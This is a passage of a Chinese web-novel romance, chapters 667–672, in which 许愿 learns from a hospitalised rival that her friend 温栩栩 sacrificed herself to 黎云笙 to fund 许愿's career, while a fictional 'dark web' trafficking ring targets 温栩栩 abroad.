终于,在一个寂静的夜晚,压抑已久的情绪如同决堤的洪水般爆发了。 “我要见许愿!你们听到了吗?我要见许愿!”颜佳雨的声音在空荡荡的走廊里回响,打破了夜的宁静。 她的声音带着一丝沙哑,那是连续几日嘶吼的结果,但此刻却依旧充满了力量和决心。 护士们闻声赶来,试图安抚她的情绪。 “请冷静一点,这样对你没有好处。”一位年轻的护士试图接近她,语气温和地说道。 “我不需要你们的安慰!”颜佳雨猛地甩开护士伸过来的手,眼神中透露出一股野兽般的凶狠,“我有重要的事情要告诉许愿,关于温栩栩和黎云笙的事!” 听到这个名字,护士们的表情微微一变,但很快,她们又恢复了职业性的冷漠。“这些都不重要,你需要的是休息。” “不,你们不明白!”颜佳雨急切地说着,“我知道他们之间的真实关系,我必须要见许愿!” 她的手紧紧抓住床边的栏杆,指节因用力过度而泛白。 “温栩栩和黎云笙……他们之间的关系远不止表面上那么简单。”颜佳雨深吸一口气,试图平复自己激动的心情,颜佳雨停顿了一下:我要见许愿,我要将一切都告诉她!” 她的话音刚落,门外传来了一阵脚步声。 门缓缓打开,一名穿着黑色西装的男人走了进来,他的脸上没有任何表情,只是静静地站在那里,仿佛在等待颜佳雨继续说下去。 “你是来带我去见许愿的吗?”颜佳雨的眼神中闪过一丝希望和暗芒。 男人沉默片刻,然后轻轻点了点头。“许小姐说想听听你要说什么。” 颜佳雨心里不由冷笑。 只要许愿肯见她就行。 颜佳雨被带进了一个布置豪华却又不失温馨的房间,这里弥漫着淡淡的香薰味道。 许愿懒懒散散地靠在一张柔软的沙发上。她的身旁坐着盛景炎,他的眼神中透露出一丝警惕与冷意。 见到颜佳雨进来,许愿微微挑眉,唇角带着明显的讽意。 “听说你要见我,还要告诉我什么真相?”她的声音慵懒而又带着几分戏谑,仿佛面前站着的不过是一个小丑。 颜佳雨深吸一口气,试图让自己镇定下来。 “许愿,我知道关于温栩栩和黎云笙的事情。” 听许愿的表情似乎有一瞬间的凝固,但她很快又恢复了平静。“哦?是吗?” 她缓缓坐直身子,目光如刀般锋利,“那你倒是说说看,我倒要听听你能编出什么样的故事来。” “这不是故事。”颜佳雨的声音坚定了许多,“温栩栩是你从小一起长大的朋友,你们之间有着深厚的感情,至少我是这么认为的。但黎云笙……他利用了这份感情……” 许愿的眼神变得更加冰冷,她的手指轻轻敲打着沙发扶手,她冷笑一声,“你以为这些话能让我动摇?” 一直沉默的盛景炎开口了,他的声音低沉有力,“你以为我们会相信你的一面之词?没有证据,你的每一句话都不过是无稽之谈。” 在这片寂静之中,只有颜佳雨的笑声还在继续,那是对命运无情嘲弄的笑声,是对所有人的一种讽刺。然而,在这笑声背后,也隐藏着她自己深深的伤痕。她以为通过报复可以获得解脱,却发现内心深处依旧是一片荒芜。 颜佳雨缓了片刻死死盯着盛景炎:“你是黎云笙的好友,你当然会向着他说话!” 许愿的脸色微微一变,尽管只是一瞬,但颜佳雨捕捉到了这一细微的变化。 房间里陷入了短暂的沉默,只有窗外偶尔传来的风声打破了寂静。 许愿的眼神复杂,颜佳雨却看出了她对温栩栩的在意,再次说出的话却刻薄又疯狂。 “许愿,你知道当初你创业的时候黎云笙为什么会投资了你一大笔钱吗?不是因为看好你,而是因为温栩栩。” “你以为黎云笙为什么会突然对你如此慷慨?”颜佳雨的声音此刻充满了愤怒与决绝,“温栩栩为了你的梦想,为了让你成功,十八岁刚成年就爬上黎云笙的床,她用自己来做交易,她什么都不要只要黎云笙帮你创业,你以为你凭什么那么轻松的成功?因为你背后有个为了你能出卖自己身体乃至灵魂的温栩栩啊!” 颜佳雨的话像一把锋利的剑,直直地刺入了许愿的心脏。 她整个人怔住了,眼神中闪过一丝难以置信与痛苦交织的情绪。 “不可能。”她的声音微弱得几乎听不见,仿佛在试图说服自己这一切都不是真的。 许愿的脸色变得惨白,她的眼神愈发冷了:“这些都是你在胡说,我不会信的。” 说着不会相信,其实许愿已经信了。 不然当初黎云笙怎么会突然投资?心中的痛苦如同潮水般汹涌而来。 盛景炎在一旁看着许愿的表情变化,心中也是一阵揪痛。他想要上前安慰她,却发现自己无言以对。这种事黎云笙是做得出来的。 颜佳雨似乎从许愿的反应中得到了某种满足,她的眼神中闪烁着报复后的疯狂。 “你现在明白了吧,所有的一切都是因为温栩栩为你牺牲的结果。而你呢?你在享受成功的果实时,可曾想过她为此付出了怎样的代价?” 许愿的身体微微颤抖,她的手指紧紧抓住沙发扶手,仿佛这是她唯一可以抓住的东西。内心的痛苦让她几乎无法呼吸,每一个字都像是重重地打在她的心上。 此时的颜佳雨已经失去了最初的愤怒,取而代之的是一种扭曲的快感。 她觉得自己终于报仇,尽管这种胜利显得那么空虚。 保镖上前一步捂住颜佳雨的嘴,房间里再次陷入死寂,许愿沉默的垂下眼睫,她的世界仿佛在这一刻崩塌,所有的美好回忆都被这突如其来的真相染上了灰色。 第667章 只配拥有发烂发臭的人生 她想起了那些和温栩栩一起度过的日子,那些无忧无虑的时光,以及温栩栩总是默默支持自己的身影。而现在,这一切都变成了最尖锐的讽刺戳中自己心窝。 许愿闭上了眼睛,她在心底默默地问自己,这一切,真的是因为我吗?如果当初我能多关心她一点,如果我能早点发现这一切,是不是就不会有今天的悲剧? 她当然相信温栩栩能为了她做很多事,她知道温栩栩是什么性格的人,温栩栩总是将她看做最重要的人,一直以来都是这样的,当初要创业的时候温栩栩还笑眯眯的说一定会成功。 是啊,怎么能不成功呢? 那时候的温栩栩就已经做好了准备去见黎云笙了,她为她想好了一切对策。 颜佳雨的话语如同冰冷的钢针,直直地插入许愿那已经千疮百孔的心中。 她此刻被捂住嘴,许愿缓了许久终于声音很轻道:“放开她,让她继续说。” 保镖迟疑了下还是放开了颜佳雨,颜佳雨被放开突然爆发出一阵刺耳的大笑。 “你以为黎云笙真的喜欢温栩栩吗?”她的声音在房间里回荡,带着一种近乎疯狂的快意,“你不妨猜猜,为什么温栩栩要离开他的公司,为什么要与黎云笙划清界限?因为黎云笙根本不爱她,对她来说,温栩栩不过是一个血库!” 许愿的身体剧烈颤抖着,仿佛被这突如其来的真相击垮了最后一道防线。 她的嘴唇微微颤动,却发不出任何声音。心中的痛苦如同汹涌澎湃的潮水,将她淹没。她无法相信,自己一直视为朋友的人竟然遭受了如此残酷的命运。 “你知道她是谁的血库吗,是我的,黎云笙爱我,所以一直为我找血库找心脏供体,偏偏温栩栩为了你撞上来,她跟我能完美配型,温栩栩就是我的人体移动血库,哈哈哈哈她都不算是人了!只是我的血库!你以为那几次温栩栩为什么晕倒虚弱到需要休息,因为她喝了黎云笙加药的水所以晕倒了,醒来后那么虚弱是因为失血过多根本不是累倒的!” 颜佳雨的声音变得愈发尖锐,“你以为温栩栩为什么一定要现在离开黎云笙,就是因为她知道了这一切!” “许愿,温栩栩遭受这一切都是因为你啊。” “如果不是因为你,温栩栩不会爬上黎云笙的床,她不怕床就不会被黎云笙检测出血性甚至做了配型。” “哈哈哈,多好笑,温栩栩为了你爬床,被黎云笙当做我的替身,她做了那么久的替身还要做我的血牛,多有意思啊!” 许愿的眼中充满了绝望和不解,她不想哭,更不可能在颜佳雨面前哭,她抬起头逼着自己将眼泪吞下去。 “颜佳雨,你以为我会信你这个疯子说的话吗。” 许愿眼神冰冷:“我当然知道你为什么说这些,无非是为了报复我报复温栩栩和黎云笙,我不会信。” 许愿站起身居高临下的看着她:“不论你说什么做什么我都不会信,而你这样的人只配被关在这里关到死关到老。” “我没骗你!这就是事实!” 颜佳雨大吵大嚷,见许愿还是这样冷静她更无法接受,下一秒却听到许愿嘲讽道:“你说黎云笙不爱栩栩爱你,如果黎云笙爱你就不会不关注你甚至随我们如此报复你。” “就算现在栩栩要离开黎云笙也不过是她在闹脾气等着黎云笙哄罢了,你知道什么是情趣吗?你不知道。” 许愿掀唇:“你这辈子都不会知道了,因为你不配被爱。” “栩栩会一直幸福,不论发生什么都会一直幸福,因为她有我,而你呢?你有谁?你只有早已经坏掉的名声和想要骂你的粉丝。” “你就只配拥有这样发烂发臭的人生。” 许愿说完这话,颜佳雨已经不停的惨叫出声。 许愿却不再看她一眼,匆忙离开房间,保镖也推着盛景炎的轮椅离开。 离开精神病院,许愿才终于忍不住,泪水无声地滑过她的脸颊。 她当然知道颜佳雨为什么说这些,颜佳雨不想让她好过,她是在报复,她想让自己痛苦。 许愿想起了温栩栩那温柔的笑容,那些曾经一起度过的美好时光,以及她为了自己的梦想所做出的巨大牺牲。而现在,这一切都显得那么虚幻,那么遥远。 许愿声音微弱得几乎听不见,“这不可能……怎么会这样呢……为什么会这样?” 许愿感到自己的世界彻底崩塌了。 她双手紧紧捂住耳朵,试图隔绝外界的一切声音。但她内心的痛苦却无法阻挡,那种撕心裂肺的痛楚让她几乎窒息。 夜幕已经降临。 许愿每走一步都仿佛带着沉重的铅块,恨意如同黑暗中的影子,紧紧跟随在她的身后。 黎云笙的名字在她心中反复回响,成为了她所有痛苦和愤怒的源头。 然而,在她几乎被这股恨意吞噬的时候,盛景炎的声音突然打破了这份寂静。 “阿愿,你有没有想过,温栩栩需不需要你这样做?”他的声音中充满了关切与担忧,试图将许愿从那无尽的仇恨中拉回来。 他不愿意许愿将一切都安在她自己身上然后不停地痛苦。 许愿愣住了,脚步不由自主地停了下来。 这个问题像一道闪电划破了她心中的迷雾,让她第一次开始质疑自己的决定。 “这是他们两个人的事,”盛景炎继续说道,“你有没有想过,为什么温栩栩不告诉你真相?因为她想保护你,不想让你受伤。如果你知道这些,她一样会痛苦。” 这几句话如同冰冷的水泼洒在许愿的心头,让她猛地清醒过来。 是啊,温栩栩一直都是那么温柔。而自己呢,却在得知真相后立刻陷入了复仇的漩涡,完全忽略了温栩栩真正的愿望。 “但是……”许愿的声音微微颤抖,眼中闪烁着泪光,“我不能就这样放任不管,栩栩是为了我才会被伤害。” 盛景炎轻轻叹了口气,握住许愿的手。 第668章 她想为许愿换一个未来 “我知道你的感受,但复仇并不是解决问题的办法。”他说,“温栩栩如果希望你报复回去那一定会第一时间告诉你这些,她不说而是瞒着你,说明她只是想要远离黎云笙。” “阿愿,温栩栩不希望你们任何一个人受伤。” 许愿沉默了,她低下头,思考着盛景炎的话。 “我该怎么办?”许愿轻声问道,语气中透露出一丝迷茫。 “我能怎么办?”许愿喃喃。 盛景炎没有打断她的思绪,这时候确实应该让许愿自己想清楚。 该怎么做?能怎么做? 温栩栩不是已经给出答案了吗? 她不希望自己受伤也不希望黎云笙受伤,她只是想离开黎云笙。 “盛景炎,”许愿的声音中充满了决绝,“我必须要见黎云笙,把事情说清楚。他不能再纠缠栩栩。” 盛景炎看着她,眼中闪过一丝忧虑,但随即点了点头,“好,就照你说的去做。” …… 夜已深,许愿终于疲惫地闭上了眼睛。 回到家后许愿因为温栩栩的事情没有胃口,还是盛景炎哄着人喝了一杯牛奶,等她沉沉睡去,盛景炎轻手轻脚地走出卧室,拿起手机拨通了黎云笙的号码。 “云笙。”盛景炎尽量保持语气平和,“是我,景炎,今天阿愿见了颜佳雨。” 电话那头沉默了一会儿,随后传来黎云笙低沉的声音,“所以呢?” “颜佳雨说了很多,包括你和温栩栩是怎么在一起的,也包括你将温栩栩当做血库的事。” 话音落下,黎云笙沉默了。 “所以许愿想对付我对吗。”黎云笙嗓音沙哑带着些许醉意:“好,我等着,她可以随意针对黎氏,甚至可以夺走黎氏,算我活该。” 盛景炎顿了下:“阿愿没有要这样做。” “这不是许愿的风格,她不该对我恨之入骨吗?”黎云笙声音很轻很轻。 “温栩栩瞒着这一切就是不想你和阿愿受到伤害,阿愿猜到了,所以她不会对你出手。” 听到黎云笙再度提到温栩栩,黎云笙能感受到心头的悸动和痛苦。 他一时无言,没有开口,盛景炎叹了口气:“你当初决定做些事的时候难道就没有想过后果吗。” “说多无益,是阿愿说想见你,她想跟你谈谈,地点我稍后会发给你。” 黎云笙当然猜得到许愿为什么见自己,她还是为了温栩栩。 黎云笙叹了口气,“好,我会去的。” …… 华庭 许愿早早到达约定地点时,发现黎云笙早已等候多时。 他似乎喝了很多酒,身上的酒气扑面而来,平日里冷淡矜贵的黎家少爷此刻看起来竟然有几分颓废,像是连续几晚未眠的模样。 他此刻似乎很累的模样,只是搅动着咖啡。 听到门被打开的声音,他抬头扫过去,看到了许愿,没有看到盛景炎,许是盛景炎在门外等着。 “坐吧。”他说。 许愿并没有跟他客气,坐到他对面,只微微垂眸取出一叠文件放到桌上,将文件推到黎云笙右手边。 “什么意思。”黎云笙问。 “你可以看过后再问我。”许愿抿唇看着他,似是在等他看过文件后再提及其它。 黎云笙沉默的翻看文件,是许愿调查的他花费在温栩栩身上的钱以及投资的那一笔笔的资产,他似乎明白了许愿的意思,但他没有主动提及。 “你们之间的事情我已经知道了。”许愿开口说道,声音坚定而清晰,“这些年你投资的钱我会一分不少地还给你,还有你给栩栩花的每一分钱,我都会双倍偿还。只希望你以后不要再纠缠栩栩。” 黎云笙微微晃了晃脑袋,试图驱散醉意。 黎云笙看着面前表情冷淡的许愿,他突然嗤笑一声,嘲讽道:“你以为你是谁,许愿?你凭什么替温栩栩做决定?” 许愿心中一痛:“栩栩要离开你不是吗!” 她的声音提高了几分贝。 许愿眼神中闪烁着愤怒与无奈,“难道你看不出她已经受够了吗?你这样做,只会让她更加痛苦!” 黎云笙愣住了,他的眼神从最初的嘲讽逐渐变得复杂。 酒精的作用让他难以集中精神思考,但他内心深处明白,许愿所说的是事实。他缓缓低下头,双手紧紧握拳,仿佛在努力控制自己的情绪。 “这是我和温栩栩之间的事,你只是外人。”黎云笙的声音有些颤抖。 “我怎么会是外人,我是栩栩一起长大的亲人,栩栩已经要离开黎氏甚至要跟你划清界限,这就是栩栩做的决定。” “我希望你能理解,”许愿轻声说道,“这是为了栩栩好,也是为了你自己。” “如果你真的在意栩栩,你就该放她离开,而不是继续纠缠。” 放温栩栩离开? 黎云笙再度沉默,他平静的搅拌着咖啡,动作却越来越慢。 他不能想象温栩栩离开自己。 以往他将颜佳雨当做寄托,当颜佳雨选择黎云浩后他遇到了温栩栩,她大胆却又给他带来很多惊喜,她不想给他做情人,也不要任何东西,她要换的是在意的人未来。 她在乎的人是许愿,她要用她自己给许愿换一个未来,多伟大……又多幼稚可笑? 可他就是同意了这样可笑的想法,他当时何尝不是抱着看热闹的心思等着许愿失败,想着温栩栩后悔。 但许愿没有失败,温栩栩让她投出去的钱全都没有亏,每一笔都数倍盈利。 而当初只能算是小公司甚至拉不到投资的盛华也因为他最初的那笔投资一点点庞大,甚至到后期盛华不会接受其它人的投资但只要是他开口盛华就会给他留有份额。 她们不知道,他投资只是为了温栩栩,她们还当他是伯乐。 他也一点点看着温栩栩从稚嫩逐渐变得成熟变得愈发美艳,开成最美的一朵花。 她已经不再像颜佳雨了,她更耀眼,也更温暖,会让人看到她后控制不住的将目光落到她的身上,想看着她,只想看着她。 第669章 见不得有人欺负温栩栩 他已经习惯了一直陪在身边的温栩栩,哪怕温栩栩没有爱,哪怕她只在意许愿。 他想,只要在身边就好。 可现在许愿告诉他,让他放过温栩栩,让他远离温栩栩……怎么远离,他真的能控制住自己吗。 黎云笙喉间发堵,忆起温栩栩痛苦的表情,他在此刻都有片刻的茫然。 “这是我和温栩栩之间的事。” 黎云笙看着许愿,语气沉沉:“如果温栩栩真的不需要我,那我不会再打扰她。” 这已经算是黎云笙给出的最后的承诺了。 如果没有他温栩栩可以活得很好……他可以强迫自己不再去靠近她伤害她。 是的,他自己也清楚,他的靠近对她来说其实就是伤害。 见黎云笙已经表态,许愿深深的看他一眼:“你能明白这些那再好不过。” “我希望你不要告诉栩栩我知道了当初的真相,栩栩不想我知道,更不希望我们任何一个人受到伤害,这是栩栩对我和你的维护,黎总应该明白。” 不希望许愿知道,是因为温栩栩清楚许愿的性子,她知道许愿一直坚持的都会彻底坍塌,她知道许愿会受到伤害甚至夜不能寐。 且还有最重要的一点,她不希望许愿和黎云笙真正对上。 纵然被黎云笙伤害过,却还是爱的那样赤诚。 这就是温栩栩,这才是温栩栩。 黎云笙漆黑的瞳眸微微闪烁,片刻后才僵硬的扯了扯唇。 “我不会说。” “黎总是聪明人。” 许愿站起身,已经聊到这一步,那就不必说更多了,既然达成共识不会再让温栩栩受伤就好。 温栩栩离开黎氏的消息其实已经闹大了,撤热搜也是没用的,太多人都在骂温栩栩忘恩负义。 因为在那些人眼中温栩栩是被黎氏捧出来的,温栩栩参与的选秀节目虽然盛华有参与,但后期黎氏也有投资,成团出道后多少资源都是黎氏给的,现在温栩栩要跟黎氏解约,甚至黎氏跟颜佳雨解除合同的代言她也不打算接,对那些人来说就是忘本。 黎云笙怎么能看到温栩栩被骂。 他已经不能看到任何人伤害温栩栩。 黎云笙让公关部登录微博告知大众这是他和温栩栩商量好后的决定,黎氏跟温栩栩关系很好没有任何龌龊,温栩栩不接黎氏的代言是因为已经打算接盛华的一些代言,因为一个明星不能同时接同类型的代言,温栩栩离开黎氏也是因为许愿打算为温栩栩开个人工作室,这对温栩栩来说是更好的选择,黎氏看好温栩栩未来的发展,并在微博表明黎氏永远算是温栩栩的后盾。 黎氏的公关一出,网络上的狗不再叫了,温栩栩的粉丝再次扬眉吐气。 【所以那些人都在乱骂什么?黎氏的黎总跟许愿也是好朋友,而许愿更是温栩栩的好姐妹,温栩栩只是提前跟许愿商讨好了代言建立新的工作室,人家私底下都没有任何龌龊都谈妥了,网络上的人就一定要追着骂温栩栩忘本。人家好朋友之间都没事你们就在那里狗叫!再叫啊!黎氏都不在乎还永远都是温栩栩的后盾呢!羡慕?羡慕也没用!】 【这就说得通了,黎云笙是盛景炎的好友,许愿和黎云笙怎么可能没有交集?许愿应该是私下就温栩栩发展的事情跟黎云笙谈过了,且黎氏娱乐对黎云笙来说真就是一个小公司,黎总也不在乎这个,许愿想给温栩栩更好的前程黎云笙怎么可能不答应?这样看来许愿的安排当然是最好的。】 本来还打算买温栩栩黑料的明星们也不敢吱声带节奏了。 如果温栩栩真的惹了黎氏也就算了,可现在明显是黎氏根本不在乎,温栩栩背后还有许愿撑着,她们疯了才去招惹温栩栩,没看到那些对付温栩栩的没一个有好下场的吗! 温栩栩女团的成员第一时间送上祝福,黎氏娱乐的艺人紧跟着也送上祝福,陆陆续续那些二线三线的乃至一线的艺人都开始送祝福。 没人会在这时候掉队,温栩栩背后是许愿是黎氏,那她就手握最大的资本,谁都想捧着的。 眼见网络上不再睡着温栩栩骂,许愿才算是松了口气。 她是见不得有人欺负温栩栩的。 更何况知道了温栩栩曾经做的事,她对温栩栩更是心疼更是……愧疚,她这辈子都要一直护着温栩栩,谁也不能伤害她。 盛景炎复建的时候许愿已经去见温栩栩,因为最近各种大事小事闹得沸沸扬扬,温栩栩最近推了所有的行程,搬离了黎氏准备的别墅,搬到间小公寓。 许愿去见她时她还晕晕乎乎的在休息,开门后看到是许愿脸上才终于露出了点笑意。 “阿愿。” 她总是这样。 哪怕已经被伤到极致,但在许愿面前就是会笑,那次扑进许愿怀里哭也只是因为喝醉了才会痛苦的想要发泄。 许愿感受到自己的心不受控制的在收缩,那种密密麻麻的像是心脏插满了长针的刺痛感一点点放大,那种能忍却又时时刻刻提醒着她的痛令她身体都在此刻僵硬。 她看着面前自小一起长大的温栩栩,好像在此时此刻透过她的表象都能看到她已经接近颓败的灵魂。 她的栩栩是很好很好的人啊。 幼年时期她得不到的她总希望栩栩能得到,所以纵然栩栩没有父母她也会一直对温栩栩好,她将那些情感替代了所谓的父爱母爱,她觉得我的爱这样纯粹,温栩栩受到的伤害会不会少很多? 她以为的温栩栩天真烂漫,哪怕真的是一朵花,开出的花朵也一定是洁白无瑕的花,是所有人看到都会为她的单纯烂漫而动容的花。 可事实上她一直都没有读懂温栩栩。 温栩栩不是纯白无暇那样无害单纯的花,她像罂粟花,漂亮又危险,浑身都带着毒,甚至于她的毒会伤到她自己。 她不过是知道她内心期待的温栩栩是什么样的,所以一直在她面前装出温柔可爱的模样。 第670章 暗网 真实的温栩栩比许愿想象的要强大太多。 许愿那样在意着温栩栩,温栩栩又何尝不在意她? 温栩栩早就知道她想要的太多,她想要护着苏逸,她想要报仇,她想要做太多太多事,那怎么样才能做那样多的事?首先就要站到高处。 她知道,温栩栩也知道。 所以温栩栩才会义无反顾的用她自己来为她换一个未来。 在温栩栩心里,她有什么呢?她没有钱没有权,她帮不到许愿,只能由着许愿一直保护她。 不,她有的,她有那副漂亮皮囊。 当一个女人足够漂亮又足够聪明的时候,她其实可以得到任何她想要的。 她选定了当时看似病弱的黎云笙,用身体为她换取一笔又一笔的投资。 在她心里,她自己不重要,许愿才是最重要的。 她一直都是这样想的,也一直都是这样做的。 许愿看着面前唇角露出笑意,还想要在她面前装出什么事都没有发生的温栩栩,内心的疼痛愈发剧烈。 她有些克制不住的抱住温栩栩,温栩栩愣住,她能感受到许愿的身体像是在发抖。 温栩栩很轻很轻的叹了口气然后抬手抚上许愿的后背:“阿愿,你怎么了。” “我有点难过。” 许愿声音里夹杂的愁绪是她自己都察觉不到的。 她放开温栩栩,目光却还是一动不动的落到温栩栩的脸上,她看着温栩栩,还能感受到内心那种撕心裂肺的痛感。 “网上那些人总是在骂你,所以有些难过。”许愿揉了揉温栩栩有点乱的发梢:“你明明那么好。” 温栩栩又笑了,她像是故意用自己乱糟糟的发蹭她的手:“我还没有洗头呢。” 没洗头还这样,像是故意在恶作剧。 “我又不会嫌弃你。” “对哦,阿愿永远都不会嫌弃我的。” 说到这里时温栩栩语气里面都带着点得意。 许愿觉得自己真的很蠢很傻,这么多年,她都没有看出温栩栩在自己面前故作无所谓的模样,她演技太精湛,一次次的骗过了她,竟让她真的觉得温栩栩过的很幸福。 多可笑。 许愿压下内心涌起的悲意。 “栩栩,我给你建立了工作室,你的经纪人……换掉吧,我查过她了,她手里不只有你一个艺人,她还带了她的妹妹,很多本属于你的资源她都截下来给了她妹妹,有几个她告诉你的还是那些人没看上她妹妹她没有办法才联系了你。” “这个经纪人用不得,我把秦深安排给你,秦深是我的助理,是左司外我另一个特别助理,他会为你安排好一切。” 许愿创建的盛华她不在的时候都是陆斯年和薛酒安排工作,而左司和秦深则是许愿的特别助理,在盛华的职位等同于盛华副总的职位,是绝对的高层。 “阿愿最好啦。”温栩栩揉搓了下自己的脸,许愿看着她,缓了片刻才开口:“要一起聚一聚吗,我看你最近心情不是很好的样子,一个人待着很容易抑郁的。” “我不会,我这个人呢最在乎我自己了。”温栩栩笑的开怀。 最在乎自己?那又为什么为了她做那么多? 许愿喉间发堵,一时说不出话,温栩栩却眉眼弯弯道:“我订了机票打算出去旅游转一转,刚好我之前录制的综艺和拍摄的剧还没有完全上映,最近一段时间的曝光足够了,我想出去放松放松心情。” 其实就是不想在A市多待。 许愿怎么会不懂? 许愿微微抿唇,她看着在自己面前还是像小太阳一样的温栩栩最终还是点了下头。 “我安排秦深跟你一起出去。” 温栩栩打断她的话摇了下头:“阿愿,我只想自己静一静,你能明白吗。” 她明白,怎么能不明白。 许愿默了片刻还是扬了扬唇:“好,不过一定要记得给我报平安,你知道的,你是我很重要……很重要的亲人。” 温栩栩眼角的笑意都加深了,她重重的点头。 许愿离开后温栩栩透过窗户看向许愿的背影,她微微垂下眼睫,脸上的笑意早已消失不见。 阿愿,她只是真的很难过很难过,她需要出去转一转放松心情,等回来后她会忘记黎云笙……忘记曾经由他施加的伤害,然后开始新生活。 她有句话不是骗人的。 她很爱她自己,所以,她会调整好自己的状态。 等一切尘埃落定,她会回来的。 …… 颜佳雨还被困在精神病院,难得的上网时间,她的手机突然闪了下,几秒钟后进入了一个对话框。 是她曾经联系过的暗网的“影子”。 影子:看来你失败了,我早就告诉过你温栩栩这种人你碰不得。 颜佳雨咬牙. 颜佳雨:这种事用你说嘛!我当然知道!我只是想报复! 影子:其实你想报复温栩栩也不是做不到,温栩栩买了去M国的飞机票。 影子:那里是我们的地盘。 影子:温栩栩长成这样,真是最完美的……天使母体。 颜佳雨只觉得浑身发麻。 颜佳雨:什么意思!你在说什么!我听不懂! 影子:多亏了你,我们老大发现了温栩栩,有了她,我们可以培养出很多天使了。 影子:你的仇我们会帮你报的。 这句话之后颜佳雨的手机再度卡顿冒烟,已经不能再次使用。 颜佳雨整个人有些疯魔的用头撞墙。 影子是什么意思? 什么叫她的仇他们会帮她报? 他们想做什么? 暗网……暗网…… 颜佳雨心里突然发寒。 如果没记错十几年前M国有过一起有关“暗网”的色情案,M国许多大家族乃至高官都被迫下马。 而暗网做了哪些事?暗网有最漂亮的男性和最漂亮的女性,那是国外有钱人的销金窟和天堂,而暗网最出名的就是可以拍卖的“天使”。 那所谓的“天使”就是暗网最美的女性和最美的男性结合诞生的孩子,她们每一个人……无不漂亮到让人想到天使,而最明显的就是都有一双紫色的眼睛。 第671章 温栩栩被盯上了 颜佳雨想到影子说的话。 {温栩栩长成这样,真是最完美的……天使母体。} {我们老大发现了温栩栩,有了她,我们可以培养出很多天使了。} 颜佳雨打了个哆嗦。 温栩栩太漂亮了,她的美是圈内都知晓的,而现在影子说温栩栩是“天使母体”。 有了温栩栩能培养出很多天使。 他们知道温栩栩要出国所以打算对温栩栩下手吗。 颜佳雨当然听说过暗网的势力,当年有人说那群人被一网打尽,可谁能想到那群人还在,卷土重来? 温栩栩被盯上了,哈哈哈,温栩栩被盯上了! 那群人要绑架温栩栩让温栩栩跟其他男人孕育子嗣,哈哈哈,温栩栩完蛋了,她不会有以后了。 就算她被救回来也早就被人玩过了,脏透了,黎云笙不会再要她了! 颜佳雨又哭又笑,内心全是对温栩栩的汹涌恨意。 她等,等着暗网那群疯子为自己报仇。 …… 温栩栩对此一概不知,她已经买好机票。 上了飞机由空姐带着到自己的座位,旁边的位置已经有人,一个休闲打扮的男人正在低头看杂志。 俯视看去,这人一副文质彬彬的样子。 但虽然是这个角度却也能看出男人容貌精致,只是对方面色平静,看不出任何情绪,却明显有种不可忽视的强大气场,让人下意识觉得他的身份不简单。 空姐有些抱歉的礼貌提醒:“先生,抱歉打扰您,这位小姐的位置在里面,麻烦您让一下。” 看杂志的男人闻声抬头站起来。在隔空对视的一秒内,对方目光落在温栩栩脸上顿了下,眸中闪过一抹惊艳。 温栩栩也愣住了,她见过不少相貌好的男性,但眼前这位的容貌却是完全可以用“漂亮”来形容的。 男人气质温文尔雅,卡其色的风衣版型挺阔,同色系的巴宝莉经典格子围巾平整的搭在他的肩膀上。 淡金色的金丝边眼镜,深邃的眼眸中又含着极具魅力的神韵。 柔和的光线洒下来,使得他好像都笼罩在淡淡的光晕中,甚至会给人一种好像随时会消失的错觉。 温栩栩失笑,怪不得方才就感觉整个头等舱的女性都在偷偷朝他的方向看,不,不仅是女性,甚至男性也会看向这边,原来真是因为他啊。 只是温栩栩总有种错觉,觉得这个人的眼睛不该是黑色,或许应该是像精灵那样更漂亮的颜色才配得上他。 对方笑了下微微颔首:“抱歉,是我太专注了没注意到。” 对方已经礼貌的站起来,绅士的让出了位置。 温栩栩坐到窗边,摘掉墨镜,目光不由得落在他身上忍不住问了句:“先生是艺人?” 对方又笑了笑:“很多人这么说,不过我并不是艺人。” 男人礼貌的伸出手,温栩栩顿了下还是伸出手轻轻的和他握了下。 他开口:“我是唐文晞,我知道你,温栩栩,目前华国热度很高的女星。” 说着,对方拿起手里的杂志,娱乐版面正好报道的是温栩栩最近演出的《云雾》林青黛穿着戏服的几组照片。 “真巧,刚好看到温小姐的专访,没想到下一秒就看到真人,也算是有缘分了。” 唐文晞扶了下眼镜框开口:“温小姐比杂志上更漂亮。” 温栩栩笑了下:“谢谢。” 温栩栩只是觉得奇怪,对方不是艺人,那大概是上流圈层的了,可她知晓的能用“漂亮”来形容的也就只有薛酒了,这位她是真的没有见过,不过像这种精英范儿的男人一般不是都爱看财经杂志吗?怎么会看娱乐杂志。 两人后期并没有聊太多,对方也一直很温柔,见她没有聊天的兴致就没再开口,只是看过杂志后又翻阅了几份文件。 直到飞机落地,温栩栩揉了下眼睛,却已经没再看到身边的男人了。 她没有多想已经下了飞机,向下走时有些低血糖踉跄了下险些摔倒,她下意识的捂住自己的脸,结果下一秒就已经被人揽腰抱进怀中。 温栩栩身体有些僵硬,抬起头时正对上男人那张漂亮又精致的面容。 是唐文晞。 “温小姐小心些。” “谢谢。” 温栩栩谢过他,唐文晞却已经抵了两块巧克力到她手边,温栩栩接过却听到对方笑了下:“温小姐很没有安全意识,温小姐有没有想过如果我是坏人,这两块巧克力也加了东西怎么办?” 温栩栩顿了下:“我只是礼貌性接过,并没有打算吃。” 说着她已经取出了自己准备好的巧克力糖果,撕开包装咬了一口。 唐文晞又在笑,不过他没有再说什么,这次两人相携走出机场,唐文晞却敏锐的感觉到不对,与身边的保镖对视一眼,对方立刻分散开。 唐文晞目光缓缓落到身旁温栩栩的脸上。 她是真的很美,美到会让有些热不惜一切代价做出些不可挽回的事。 唐文晞眸光暗了暗:“温小姐出国散心?” 温栩栩点头。 国内温栩栩的八卦黑料太多,唐文晞也看到过,也猜得到温栩栩为什么出国,他当然知晓温栩栩和许愿的关系,所以主动邀请。 “温小姐要和我一起吗。” 温栩栩都觉得自己听错了,她本就想自己一个人来散心,没打算跟谁一起,更何况还是一个陌生人。 “我们好像才刚刚认识。” 这话就是在拒绝了。 唐文晞失笑,将自己烫金色的名片递过去。 “再自我介绍一下,我是唐文晞,算是阿愿的哥哥,阿愿应该跟你提起过我。” 名片上印着的是“TS”总裁唐文晞。 许愿确实是提到过苏青莲领养过三个孩子,且那位唐文晞还送了她很多珠宝当礼物。 怪不得这人路上一直都对她很友善。 “原来是哥哥。” 只要是跟许愿沾上关系的,温栩栩都是无条件信任的。 “所以要一起吗?我知道M国有些特色小镇风景还不错,可以带你转一转。” 这次温栩栩没再拒绝。 第672章 他们要造出更多天使 唐文晞当然知道许愿身边有个被她看作是家人的姐妹,就是温栩栩。 